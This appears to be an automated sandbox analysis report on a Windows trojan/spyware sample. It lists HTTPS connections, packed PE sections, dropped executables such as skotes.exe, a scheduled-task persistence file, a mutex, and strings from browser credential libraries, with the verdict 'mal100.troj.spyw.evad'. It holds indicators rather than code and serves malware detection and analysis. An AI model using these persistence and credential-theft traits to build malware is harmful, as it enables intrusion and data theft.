Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.5:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.5:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50107 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsFIDHIEBAAK.exe.0.dr	Static PE information: section name:
Source: DocumentsFIDHIEBAAK.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\DocumentsFIDHIEBAAK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Code function: 21_2_006D5C83	21_2_006D5C83
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Code function: 21_2_006D735A	21_2_006D735A
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Code function: 21_2_00718860	21_2_00718860
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Code function: 21_2_006D4DE0	21_2_006D4DE0
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Code function: 21_2_007E7B6E	21_2_007E7B6E
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Code function: 21_2_006D4B30	21_2_006D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00537049	22_2_00537049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00538860	22_2_00538860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_005378BB	22_2_005378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_005331A8	22_2_005331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_004F4B30	22_2_004F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00532D10	22_2_00532D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_004F4DE0	22_2_004F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00527F36	22_2_00527F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0053779B	22_2_0053779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00537049	23_2_00537049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00538860	23_2_00538860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_005378BB	23_2_005378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_005331A8	23_2_005331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_004F4B30	23_2_004F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00532D10	23_2_00532D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_004F4DE0	23_2_004F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00527F36	23_2_00527F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0053779B	23_2_0053779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Code function: String function: 006E80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0050DF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005080C0 appears 260 times

Source: file.exe, 00000000.00000002.2629987582.000000006C8D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2620913468.000000002368D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: vfljhxmw ZLIB complexity 0.9945747189405488
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9980839596518988
Source: random[1].exe.0.dr	Static PE information: Section: ztzrdlcs ZLIB complexity 0.9944866071428572

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@74/240@28/26

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\J6MF7D6X.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\c186658c-cbed-44f7-b3b3-0367a463123d.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2629467438.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2625772626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2617967459.000000001D3ED000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2629467438.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2625772626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2617967459.000000001D3ED000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2629467438.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2625772626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2617967459.000000001D3ED000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
